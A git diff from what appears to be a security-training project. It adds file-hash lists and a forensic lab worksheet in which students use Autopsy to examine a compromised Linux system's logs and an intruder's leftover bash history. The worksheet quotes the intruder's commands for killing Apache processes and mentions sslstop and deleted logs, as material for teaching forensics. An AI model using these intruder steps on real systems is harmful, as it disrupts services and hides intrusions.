+63019eec7ebfc56c90eebe86514d2200 /sbin/mkbootdisk +ea5807eaa914c99ce8cf00748a58bbd0 /sbin/mkkerneldoth +6ad1cb8c0ff57081a3f8be8fe37e0ff3 /sbin/pam_tally +d073ed5250d08103617b898b6ca12090 /sbin/pwdb_chkpwd +86dea468fa3723c615a7755341ad93ab /sbin/unix_chkpwd +832ee3cc27e3dd4d6daa23cfdfaac102 /sbin/halt +bba401e030ccb3e1f56d21a8fb3b427a /sbin/init +2cc2c5fbd824b6d7d45eba0faf104738 /sbin/killall5 +d5a4ccb5f308d91fc29c167fb2e34086 /sbin/runlevel +e26c81e080729cce7470bb77e6981b9a /sbin/shutdown +eef9aefafaaecba39ce5f573eb8f08d9 /sbin/sulogin +5a91a00d09ef058a68bed3ce8dae2833 /sbin/agetty +8f1c58b35b40b769a5b678fa11b3c69d /sbin/blockdev +6806c43167253ecee62ce1ab8c6e7db4 /sbin/ctrlaltdel +ad728124871eee37a385e93a74198bfb /sbin/elvtune +60e7134606d876f337664aea5e95a710 /sbin/fdisk +f1f26538942aa2e1053c21b70852c633 /sbin/fsck.minix +8dcf30f0535faf11e05d7580fc2fc66d /sbin/hwclock +6ae69dc23ce1c8a16745a38b4ed23606 /sbin/kbdrate +3f3e0f96d0d4b4069d05959fa87f38a0 /sbin/mkfs +1b20d5be49d4d0bab160f41b49ad8903 /sbin/mkfs.bfs +f4b4ce482d6a50454915f98d6d06a435 /sbin/mkfs.minix +f0e101d83175f85a1998d2cdd23c65ec /sbin/mkswap +b21c6432ca007c4a49dd9657f4669092 /sbin/nologin +60c3c52d850381a1242543c4608de6ab /sbin/pivot_root +39ef587b77896ed1c988e9f56b66c824 /sbin/rescuept +ab64b6472023ae451b0ed7aaded40260 /sbin/sfdisk +6ce32699633c31ae6014fa264f2b412c /sbin/consoletype +f082854c671d6b0fe7f873043a72ab27 /sbin/getkey +bc8949c73272c9f9478dc71bf74295b4 /sbin/ifdown +11124069a42c0af4917f44093c46d2cc /sbin/ifup +13049171f00fc7e2a105a52d43007684 /sbin/initlog +440ca6093f7005caaebe94d057a914b9 /sbin/minilogd +444bdcd819d9feee5d736cd0d8958c6e /sbin/ipchains-restore +9bad0090b3cda14b8d4edcb8cc99e8e9 /sbin/netreport +5c201b8693adff77ee23a2df3b62d771 /sbin/ppp-watch +2df5c29c9dbb1de1019f71debb8be10c /sbin/service +53b140bbf5158a27f87cb48446fd25ec /sbin/setsysfont +d924006870d777c386749951e05fbb14 /sbin/ipchains +f4cc4e99d09e5871ebe5c26490a376f3 /sbin/iptables-restore +3be91a964ee5f8812a018713d053d7ad /sbin/ipchains-save +97f39fbda9d2c9dc4ffd1d793d0a6097 /sbin/ipfwadm +a6fc28f1dae4da1c42d2e4a69abc37b1 /sbin/iptables +2e1c23156a81c4c98a2acfeecf1f99d9 /sbin/iptables-save +873eb3c84d746fdd9115c44fe8436fc1 /sbin/lspci +af3c8de11eec9871393fa4b1a08c873c /sbin/setpci +48c29b23b48984718691326e85f290bd /sbin/convertquota +74d5dac3aa6ec4fa01157f8c4a875d93 /sbin/quotacheck +5ba5c5d198d1ce5aaf794c92ae34a211 /sbin/quotaon +d41d8cd98f00b204e9800998ecf8427e /.autofsck diff --git a/modules/generators/structured_content/hackerbot_config/dead_analysis/templates/logs.md.erb b/modules/generators/structured_content/hackerbot_config/dead_analysis/templates/logs.md.erb new file mode 100644 index 000000000..689a53bd6 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/dead_analysis/templates/logs.md.erb @@ -0,0 +1,69 @@ +## Logs analysis + +As you learned in the Log Management topic, the most common logging system on Unix systems is Syslog, which is typically configured in /etc/syslog.conf (or similar, such as rsyslog). Within the Autopsy File Analysis browser, ==navigate to this configuration file and view its contents.== Note that most logging is configured to go to /var/log/messages. Some security messages are logged to /var/log/secure. Boot messages are logged to /var/log/boot.log. + +==Make a note of where mail messages are logged==, you will use this later: + +Within Autopsy, browse to /var/log. Note that you cannot view the messages file, which would have contained many helpful log entries. Click the inode number to the right (47173): + +As previously seen in the timeline, this file has been symlinked to /dev/null. If you are not familiar with /dev/null, search the Internet for an explanation. + +For now, we will continue by investigating the files that are available, and later investigate deleted files. + +Using Autopsy, ==view the /var/log/secure file==, and identify any IP addresses that have attempted to log in to the system using SSH or Telnet. + +==Determine the country of origin for each of these connection attempts:== + +> On a typical Unix system we can look up this information using the command: + +```bash +whois *IP-address* +``` +> (Where IP-address is the IP address being investigated). +> +> However, this may not be possible from within our lab environment, and alternatively there are a number of websites that be used (potentially from your own host PC): +> +> [*http://whois.domaintools.com/*](http://whois.domaintools.com/) +> +> [*http://whois.net/ip-address-lookup/*](http://whois.net/ip-address-lookup/) +> +> You may also run a traceroute to determine what routers lie between your system and the remote system. +> +> Additionally, software and websites exist that will graphically approximate the location of the IP: +> +> [*http://www.iplocationfinder.com/*](http://www.iplocationfinder.com/) + +--- + +Within Autopsy, ==view the /var/log/boot.log file==. At the top of this file Syslog reports starting at August 10 at 13:33:57. + +==LogBook Question: Given what we have learned about this system during timeline analysis, what is suspicious about Syslog restarting on August 10th? Was the system actually restarted at that time?== + +Note that according to the log, Apache fails to restart. Why can't Apache restart? Do you think the attacker intended to do this? + +==Open the mail log file==, which you recorded the location of earlier. ==Identify the email addresses that messages were sent to.== + +--- + +Another valuable source of information are records of commands that have been run by users. One source of this information is the .bash\_history file. As noted during timeline analysis, the /root/.bash\_history file was symlinked to /dev/null, meaning the history was not saved. However, the attacker did leave behind a Bash history file in the root of the filesystem ("/"). ==View this file.== + +Towards the end of this short Bash session the attacker downloads sslstop.tar.gz, then the attacker runs: + +```bash +ps aux | grep apache + +kill -9 21510 21511 23289 23292 23302 +``` + +==LogBook Question: What is the attacker attempting to do with these commands?== + +Apache has clearly played an important role in the activity of the attacker, so it is natural to investigate Apache's configuration and logs. + +Still in Autopsy, ==browse to /etc/httpd/conf/, and view httpd.conf.== + +Note that the Apache config has been altered by sslstop, by changing the "HAVE\_SSL" directive to "HAVE\_SSS" (remember, this file was shown in the timeline to be modified after sslstop was run) + +This configuration also specifies that Apache logs are stored in /etc/httpd/logs, and upon investigation this location is symlinked to /var/log/httpd/. This is a common Apache configuration. + +Unfortunately the /var/log/httpd/ directory does not exist, so clearly the attacker has attempted to cover their tracks by deleting Apache's log files. + diff --git a/modules/generators/structured_content/hackerbot_config/dead_analysis/templates/md5sum b/modules/generators/structured_content/hackerbot_config/dead_analysis/templates/md5sum new file mode 100644 index 000000000..8d1c8b69c --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/dead_analysis/templates/md5sum @@ -0,0 +1 @@ + diff --git a/modules/generators/structured_content/hackerbot_config/dead_analysis/templates/md5sum-url-encoded b/modules/generators/structured_content/hackerbot_config/dead_analysis/templates/md5sum-url-encoded new file mode 100644 index 000000000..2fcc98aae --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/dead_analysis/templates/md5sum-url-encoded @@ -0,0 +1 @@ +4a51ff671301fdbe47be03e194f77a8e%20%20%2Fdev%2FMAKEDEV%0A8831d78a68d5308c3f024b6d1ca8ec94%20%20%2Fvar%2Flib%2Frpm%2FPackages%0A98e4e1fea4530c03923d06c3b5068fce%20%20%2Fvar%2Flib%2Frpm%2FBasenames%0A523809658d032fa3efbc052cc84ae81d%20%20%2Fvar%2Flib%2Frpm%2FName%0A9fdabd43c155e6bf6065fc0266d62262%20%20%2Fvar%2Flib%2Frpm%2FGroup%0A4e57bb608eda8ffb50143eeb404a469f%20%20%2Fvar%2Flib%2Frpm%2FRequirename%0Ad9e50a5a3054c7bee21f9f3101df0a7e%20%20%2Fvar%2Flib%2Frpm%2FProvidename%0Ae9b2117bcbeef3095eedfdcad14c113e%20%20%2Fvar%2Flib%2Frpm%2FConflictname%0A2cd12d68702afd68fd8f7e58fbe903bb%20%20%2Fvar%2Flib%2Frpm%2FDirnames%0Ae3b82591549db9440b86378aaecb0bad%20%20%2Fvar%2Flib%2Frpm%2FRequireversion%0Ad16911b95e5aa82846d41445928664dc%20%20%2Fvar%2Flib%2Frpm%2FProvideversion%0A77ed74f54c2f4e682d46b9556987b90e%20%20%2Fvar%2Flib%2Frpm%2FInstalltid%0A07a1de60bb4c06a3e20c17c55d9f49db%20%20%2Fvar%2Flib%2Frpm%2FTriggername%0A7bfa7ce6e4acce6780d8b81546dad3c9%20%20%2Fvar%2Flib%2Fslocate%2Fslocate.db%0A439b418458b40cc62f471b0c51cc5bb2%20%20%2Fvar%2Flib%2Frandom-seed%0A291f12e154d45586c2a41e4b7ad62a6d%20%20%2Fvar%2Flib%2Flogrotate.status%0A409c44a68c301d79df3ede17cf8a8d9f%20%20%2Fvar%2Flog%2Fmessages%0A6bb893f1085e1fd230d3a934db5ca363%20%20%2Fvar%2Flog%2Flastlog%0Ad41d8cd98f00b204e9800998ecf8427e%20%20%2Fvar%2Flog%2Fsecure%0Ad41d8cd98f00b204e9800998ecf8427e%20%20%2Fvar%2Flog%2Fmaillog%0Ad41d8cd98f00b204e9800998ecf8427e%20%20%2Fvar%2Flog%2Fspooler%0A132331a90bde9f676729bfe90769f4b1%20%20%2Fvar%2Flog%2Fwtmp%0A7a990b47fd4e39c1308805667bc40811%20%20%2Fvar%2Flog%2Fsa%2Fsa14%0Acf72f18fec7c639c21050c2dab45cf25%20%20%2Fvar%2Flog%2Fsa%2Fsa15%0Ab191f82c1644c285a149aee853441535%20%20%2Fvar%2Flog%2Fsa%2Fsar14%0A87483158854aa63be796634c6c7cb8bd%20%20%2Fvar%2Flog%2Fsa%2Fsa16%0Ac4005ec91beebcfcbab28b26a46e180f%20%20%2Fvar%2Flog%2Fsa%2Fsar15%0Abe6ed59a2b227f0907801034c3513e24%20%20%2Fvar%2Flog%2Fsa%2Fsa06%0Ad41d8cd98f00b204e9800998ecf8427e%20%20%2Fvar%2Flog%2Fsamba%2Flog.smbd%0Ad41d8cd98f00b204e9800998ecf8427e%20%20%2Fvar%2Flog%2Fsamba%2Fsmbd.log%0Ad41d8cd98f00b204e9800998ecf8427e%20%20%2Fvar%2Flog%2Fsamba%2Flog.nmbd%0Ad41d8cd98f00b204e9800998ecf8427e%20%20%2Fvar%2Flog%2Fsamba%2Flocalhost.log%0Ad41d8cd98f00b204e9800998ecf8427e%20%20%2Fvar%2Flog%2Fxferlog%0A4fc0f3a66912a49611bdc073693a4878%20%20%2Fvar%2Flog%2Fhttpd%2Ferror_log%0A9048cc92be5325856bc26de91e8ac9e9%20%20%2Fvar%2Flog%2Fhttpd%2Fssl_engine_log%0A95999f5d95a6d4c1193b48f22219f1c2%20%20%2Fvar%2Flog%2Fhttpd%2Faccess_log%0Ad41d8cd98f00b204e9800998ecf8427e%20%20%2Fvar%2Flog%2Fhttpd%2Fssl_request_log%0A3dac70aaaad4a6cd990c42dd7403b8de%20%20%2Fvar%2Flog%2Fhttpd%2Faccess_log.1%0Ad6cefd90702a322082dc6edbb56a8a92%20%20%2Fvar%2Flog%2Fhttpd%2Ferror_log.1%0A0bbf2a358a55eddbd9930342bc8fc726%20%20%2Fvar%2Flog%2Fdmesg%0A71cf62950e1cc68e9342b8650648e563%20%20%2Fvar%2Flog%2Fcron%0Afc48224fcd92e1de91f91b58f55e4830%20%20%2Fvar%2Flog%2Fboot.log%0A0d668873f2f9b343d85a0832c833fa60%20%20%2Fvar%2Flog%2Frpmpkgs%0A9f75108a0bf0908b3cc8f19f03a7f299%20%20%2Fvar%2Fcache%2Fman%2Fwhatis%0A7426059ecf6bfedeb0f2a354cfc8b568%20%20%2Fvar%2Fcache%2Fsamba%2Fsmbd.pid%0A796f741c5d79c0f24669367e93715e32%20%20%2Fvar%2Fcache%2Fsamba%2Fmessages.tdb%0Aa1182398ec509ec0cea254d58d8de014%20%20%2Fvar%2Fcache%2Fsamba%2Fconnections.tdb%0A314612a286ad2d4491d9dc1e34db39c4%20%20%2Fvar%2Fcache%2Fsamba%2Fnmbd.pid%0A796f741c5d79c0f24669367e93715e32%20%20%2Fvar%2Fcache%2Fsamba%2Fbrlock.tdb%0A796f741c5d79c0f24669367e93715e32%20%20%2Fvar%2Fcache%2Fsamba%2Flocking.tdb%0A8f00e44419f2189fc6791eeaeb6059c4%20%20%2Fvar%2Fcache%2Fsamba%2Fprinting.tdb%0A5d64ebbc96d5b5df03f46ef13a999af4%20%20%2Fvar%2Fcache%2Fsamba%2Fntdrivers.tdb%0A5d64ebbc96d5b5df03f46ef13a999af4%20%20%2Fvar%2Fcache%2Fsamba%2Fshare_info.tdb%0A8e60e32fe71904bfbd7df80f2afa2553%20%20%2Fvar%2Fcache%2Fsamba%2Fbrowse.dat%0Ad41d8cd98f00b204e9800998ecf8427e%20%20%2Fvar%2Flock%2Fsubsys%2Fnetwork%0Ad41d8cd98f00b204e9800998ecf8427e%20%20%2Fvar%2Flock%2Fsubsys%2Fsyslog%0Ad41d8cd98f00b204e9800998ecf8427e%20%20%2Fvar%2Flock%2Fsubsys%2Fkeytable%0Ad41d8cd98f00b204e9800998ecf8427e%20%20%2Fvar%2Flock%2Fsubsys%2Frandom%0Ad41d8cd98f00b204e9800998ecf8427e%20%20%2Fvar%2Flock%2Fsubsys%2Fapmd%0Ad41d8cd98f00b204e9800998ecf8427e%20%20%2Fvar%2Flock%2Fsubsys%2Fsshd%0Ad41d8cd98f00b204e9800998ecf8427e%20%20%2Fvar%2Flock%2Fsubsys%2Fsendmail%0Ad41d8cd98f00b204e9800998ecf8427e%20%20%2Fvar%2Flock%2Fsubsys%2Fgpm%0Ad41d8cd98f00b204e9800998ecf8427e%20%20%2Fvar%2Flock%2Fsubsys%2Fcrond%0Ad41d8cd98f00b204e9800998ecf8427e%20%20%2Fvar%2Flock%2Fsubsys%2Fanacron%0Ad41d8cd98f00b204e9800998ecf8427e%20%20%2Fvar%2Flock%2Fsubsys%2Flocal%0A55e8631f4e9e4fbf167282bd6c36ac88%20%20%2Fvar%2Frun%2Futmp%0A3a810884261fd806d7fd13addd893b38%20%20%2Fvar%2Frun%2Frunlevel.dir%0A412c8715ac4a42790f51cc1cb7697ba6%20%20%2Fvar%2Frun%2Fsyslogd.pid%0A65c6a9136d6a316849228dcb5580c17d%20%20%2Fvar%2Frun%2Fklogd.pid%0Aeed2f25d81f3bcc10f374d11eb842f21%20%20%2Fvar%2Frun%2Fapmd.pid%0Aef2a0b437dfc14c517768aa8385e72ea%20%20%2Fvar%2Frun%2Fsshd.pid%0A5be2c00a2e0d5cbaef7da27c4f9c2ea6%20%20%2Fvar%2Frun%2Fsendmail.pid%0A80b4b5e1f812f12e736c1d2876933f1c%20%20%2Fvar%2Frun%2Fgpm.pid%0A2b753836388fcc96501d5dd680bd15e7%20%20%2Fvar%2Frun%2Fcrond.pid%0A620f0b67a91f7f74151bc5be745b7110%20%20%2Fvar%2Frun%2Fftp.pids-all%0A620f0b67a91f7f74151bc5be745b7110%20%20%2Fvar%2Frun%2Fftp.rips-all%0Ad41d8cd98f00b204e9800998ecf8427e%20%20%2Fvar%2Fspool%2Fat%2F.SEQ%0A9577e1ad1fb5ed9a4e450278e040e33c%20%20%2Fvar%2Fspool%2Fanacron%2Fcron.daily%0A9577e1ad1fb5ed9a4e450278e040e33c%20%20%2Fvar%2Fspool%2Fanacron%2Fcron.weekly%0A6e74594f2c58c3caada9a7843cf8be9c%20%20%2Fvar%2Fspool%2Fanacron%2Fcron.monthly%0A3e743c6bfa1e34f2f2164c6a1f1096d0%20%20%2Fvar%2Fftp%2Fbin%2Fls%0A370c490b0fea15ea03062052c6bbcd06%20%20%2Fvar%2Fftp%2Fbin%2Fbin.md5%0A15566c58aca6736cbe1728f66f2722d8%20%20%2Fvar%2Fftp%2Fbin%2Fcpio%0A5d49321234d4515030863d9858dac158%20%20%2Fvar%2Fftp%2Fbin%2Ftar%0A6d13ebd9d0255cd1d51565ff4c1a55f9%20%20%2Fvar%2Fftp%2Fbin%2Fgzip%0Ad41d8cd98f00b204e9800998ecf8427e%20%20%2Fvar%2Fftp%2Fetc%2Fld.so.conf%0A5a5d2d833d5d6e41fd5be4f9bcb7cd8e%20%20%2Fvar%2Fftp%2Fetc%2Fgroup%0A0657b73019f860eb2b4e95c19802bd5a%20%20%2Fvar%2Fftp%2Fetc%2Fpasswd%0A14602329a49566fe62100bd8a90eb05b%20%20%2Fvar%2Fftp%2Fetc%2Fld.so.cache%0A898ce5d151b2c28981dbf43e892d780b%20%20%2Fvar%2Fftp%2Flib%2Fld-2.2.4.so%0A835558e134e710eb82c34a727cca7237%20%20%2Fvar%2Fftp%2Flib%2Flibc-2.2.4.so%0A6fe8784cb0b56d319dd5118d6dae3fe2%20%20%2Fvar%2Fftp%2Flib%2Flibnsl-2.2.4.so%0Aa0eb241493b745005fb340431106019b%20%20%2Fvar%2Fftp%2Flib%2Flibnss_files-2.2.4.so%0A8e5e7d952ddf0416db45273f729eafc8%20%20%2Fvar%2Fftp%2Flib%2Flibs.md5%0A5e51d1c60ee69723b7029db26811ff9a%20%20%2Fvar%2Fftp%2Flib%2Flibtermcap.so.2.0.8%0Af1a8fd68bb6e27bdd39fa4322e3a909c%20%20%2Fvar%2Fftp%2Fwelcome.msg%0A12a4c27a0c39057e1dffebcef871533a%20%20%2Fvar%2Fwww%2Fhtml%2Fpoweredby.png%0A4f878eddb035f640a8668ea37d9daca8%20%20%2Fvar%2Fwww%2Fhtml%2Findex.html%0Aa3bf3e183895f8f13ae3097eb15233fe%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fssl_compat.gfont000.gif%0Abd58fa606160cb088e32e383190ad2ec%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fapache_pb.gif%0A670d938a91ccec73b2f79a72fe8b8d7b%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Ffeather.jpg%0A3e9e2000334fcc3196da8e6ec6e9ff5c%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Findex.html%0Ab51168bcc8c53ebe5103e03a5635b8f1%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fmod_ssl_sb.gif%0Aba600652e87c769ac55d9f285e681d6c%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fopenssl_ics.gif%0Af748cdcd9aafa87dae13d8b73c016a38%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fssl_cover_logo.jpg%0A03b8f0e5feea2e691537a51b010c7aef%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fssl_compat.html%0A1231241152856bb4546cb54ae4a05617%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fssl_faq.gfont000.gif%0A85df39b3d67af41b01922f432f59a3fd%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fssl_cover_title.jpg%0A960034083d97bceefec0ecb0b6c7931e%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fssl_glossary.html%0A5b584b0cbb72778ad48385282369d4c2%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fssl_faq.html%0A1231241152856bb4546cb54ae4a05617%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fssl_overview.gfont000.gif%0Aa3bf3e183895f8f13ae3097eb15233fe%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fssl_howto.gfont000.gif%0Ad40328322b4e10114fe0e8922f0995b5%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fssl_howto.html%0A5b89ae87b572f8eee3d624cded7081aa%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fssl_intro.gfont000.gif%0A89699bd747ac314e57fcc42de87b1197%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fssl_intro.html%0Ab0d427106b05732d3e48223fc35178b3%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fssl_intro_fig1.gif%0A09fbbc7ef74e9eaf2c2c13b66fa6dea4%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fssl_intro_fig2.gif%0A9eb8427a58812ce88b71c089277ad831%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fssl_intro_fig3.gif%0Ae20430274cf9b92e43461e62ecf25cf6%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fssl_overview_fig1.gif%0A2ed92c5a2eeb8aec87572deadfa5ddd2%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fssl_overview.html%0A542243750877cca5d58a4149487117a0%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fssl_template.head-chapter.gif%0A1231241152856bb4546cb54ae4a05617%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fssl_reference.gfont000.gif%0Ab33adae8c98360c776147c21c1799a82%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fssl_reference.html%0Aadd5301143d3cf06ac6039cf6c4bfe11%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fssl_template.imgdot-1x1-000000.gif%0A2c1f518a42b8c210ca0da9444ab22415%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fssl_template.head-num-1.gif%0Ab166c40438c3668ac2bd4fa02f62f353%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fssl_template.head-num-2.gif%0A95ce17553f48e2900549b193638d7199%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fssl_template.head-num-3.gif%0A874fefab328b4882881303d2221f45ff%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fssl_template.head-num-4.gif%0A948fb83e0ea25ed6bc123328ae11f74f%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fssl_template.head-num-5.gif%0A71c3b27d6ee9cfb659c39512cad216ef%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fssl_template.head-num-6.gif%0Aee7884a391d77b3d381f7719b44eeb97%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fssl_template.head-num-7.gif%0Adf3e567d6f16d040326c7a0ea29a4f41%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fssl_template.imgdot-1x1-transp.gif%0A570345be5d071ca2600ee260df413b0d%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fssl_template.navbut-next-n.gif%0A5c1a4b090b422d333009830f1734e551%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fssl_template.navbut-next-s.gif%0A26a49d4a3fec049e78eadf469f40860d%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fssl_template.navbut-prev-n.gif%0A1d36f41d542f5b2f7a06a1207030a751%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fssl_template.navbut-prev-s.gif%0A5cc3a6cfb6475c75d2be746d0f40af51%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fssl_template.title-abstract.gif%0A8ceabf2763c8caa550febd88280a88b0%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fssl_template.title-compat.gif%0A100373bfda66e93026f97ee134a01927%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fssl_template.title-faq.gif%0A8b69d206363d04028cfa03541dab3e91%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fssl_template.title-gloss.gif%0A692421a8d035838d2cfb84adf048adec%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fssl_template.title-howto.gif%0A9fd75c835b203ed2c6aad9b0660f8d7a%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fssl_template.title-intro.gif%0A13e60ec7c62fbfe6bc1819b1cadb441f%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fssl_template.title-over.gif%0Ab520341a56c8689fdfd2e072ba6eeb2d%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fssl_template.title-preface.gif%0A0ebda54ec528621137f59725f59575fd%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fssl_template.title-ref.gif%0A93112dd973555753d66c6dc96ccebed0%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fssl_template.title-toc.gif%0A44582c14c0c9f4b527e20709cf6742c3%20%20%2Fvar%2Fwww%2Fhtml%2Fmanual%2Fmod%2Fmod_ssl%2Fssl_template.title-tutor.gif%0A639f869451cc694c5d038fc8bbc22cc7%20%20%2Fvar%2Fwww%2Ficons%2Falert.black.gif%0Ab80ae76b5774817fdc82d182d7caf953%20%20%2Fvar%2Fwww%2Ficons%2FREADME%0A1ea4d197c22f37d7b5a3d0eabacab87f%20%20%2Fvar%2Fwww%2Ficons%2Fa.gif%0A99c4bb5ef7a0ab3ed19fddaab3c55920%20%20%2Fvar%2Fwww%2Ficons%2Fsmall%2Fcompressed.gif%0A4bc49ab1f81b696cb41e4745a3555a2a%20%20%2Fvar%2Fwww%2Ficons%2Fsmall%2FREADME.txt%0A25bb9a200cc7697499254800aa26ae67%20%20%2Fvar%2Fwww%2Ficons%2Fsmall%2Fback.gif%0A358acb41366edceb8fd44fecffa7538a%20%20%2Fvar%2Fwww%2Ficons%2Fsmall%2Fbinary.gif%0A6cedc55d22245789cbd9b7f75e684f97%20%20%2Fvar%2Fwww%2Ficons%2Fsmall%2Fbinhex.gif%0A0c20097064815285f874380149f3de73%20%20%2Fvar%2Fwww%2Ficons%2Fsmall%2Fblank.gif%0A11b630ea2899dd06c4f33bf22268d169%20%20%2Fvar%2Fwww%2Ficons%2Fsmall%2Fbroken.gif%0A576e1fde2c76930f980d80d03f5469fd%20%20%2Fvar%2Fwww%2Ficons%2Fsmall%2Fburst.gif%0A7ce7ce570c64dc00d06405960dff0934%20%20%2Fvar%2Fwww%2Ficons%2Fsmall%2Fcomp1.gif%0Aff49728b0b9b84687dc7ece1bea18785%20%20%2Fvar%2Fwww%2Ficons%2Fsmall%2Fcomp2.gif%0A2042a73ebdd0e220b7886b0cd48ea3ed%20%20%2Fvar%2Fwww%2Ficons%2Fsmall%2Fcontinued.gif%0Abe033a4b7bd90ebb747a4480d8ece6d1%20%20%2Fvar%2Fwww%2Ficons%2Fsmall%2Fdir.gif%0A3e6108eb2c00b53bef00d0b28a349214%20%20%2Fvar%2Fwww%2Ficons%2Fsmall%2Fdir2.gif%0A5c6a69f7fbd08fa2e307afda3f206f65%20%20%2Fvar%2Fwww%2Ficons%2Fsmall%2Fdoc.gif%0A5c424b1b66eff8f5f2267ead197691ed%20%20%2Fvar%2Fwww%2Ficons%2Fsmall%2Fforward.gif%0Aa8cde8384a414838f99be196e53ae039%20%20%2Fvar%2Fwww%2Ficons%2Fsmall%2Fgeneric.gif%0A665b9330ed0b180a868c5f4bd895cd2b%20%20%2Fvar%2Fwww%2Ficons%2Fsmall%2Fgeneric2.gif%0A0ff3b49ee5a8ada33aed6d95a4eab750%20%20%2Fvar%2Fwww%2Ficons%2Fsmall%2Fgeneric3.gif%0Acc9a5f246892d90220af29ba085b2e79%20%20%2Fvar%2Fwww%2Ficons%2Fsmall%2Fimage.gif%0A1467cf9e7f787e6b2bf31d9551957cdf%20%20%2Fvar%2Fwww%2Ficons%2Fsmall%2Fimage2.gif%0Af643e1c82ba80b499033231f5ed3516a%20%20%2Fvar%2Fwww%2Ficons%2Fsmall%2Findex.gif%0Aca0717ebf237bd7c1353beb5e4885641%20%20%2Fvar%2Fwww%2Ficons%2Fsmall%2Fkey.gif%0A68a9a93a31cc3decfaf5c5d62fbb11b6%20%20%2Fvar%2Fwww%2Ficons%2Fsmall%2Fmovie.gif%0Ac943de05ef596b75893f7210b285ef21%20%20%2Fvar%2Fwww%2Ficons%2Fsmall%2Fpatch.gif%0A44d785a9670ee2fa6e99186b890a9ef1%20%20%2Fvar%2Fwww%2Ficons%2Fsmall%2Fps.gif%0Af2be564f72d1c4f8522d9aeee84716b4%20%20%2Fvar%2Fwww%2Ficons%2Fsmall%2Frainbow.gif%0A6d00bf86ec48fd5f9c34e2b62c151940%20%20%2Fvar%2Fwww%2Ficons%2Fsmall%2Fsound.gif%0A87b73a301476d5a2e4e0b2d6fb21ad26%20%20%2Fvar%2Fwww%2Ficons%2Fsmall%2Fsound2.gif%0A69c7bbb1203d5fac70274949f3a88d19%20%20%2Fvar%2Fwww%2Ficons%2Fsmall%2Ftar.gif%0Af3fa1d34ae216911d245672e3db9235b%20%20%2Fvar%2Fwww%2Ficons%2Fsmall%2Ftext.gif%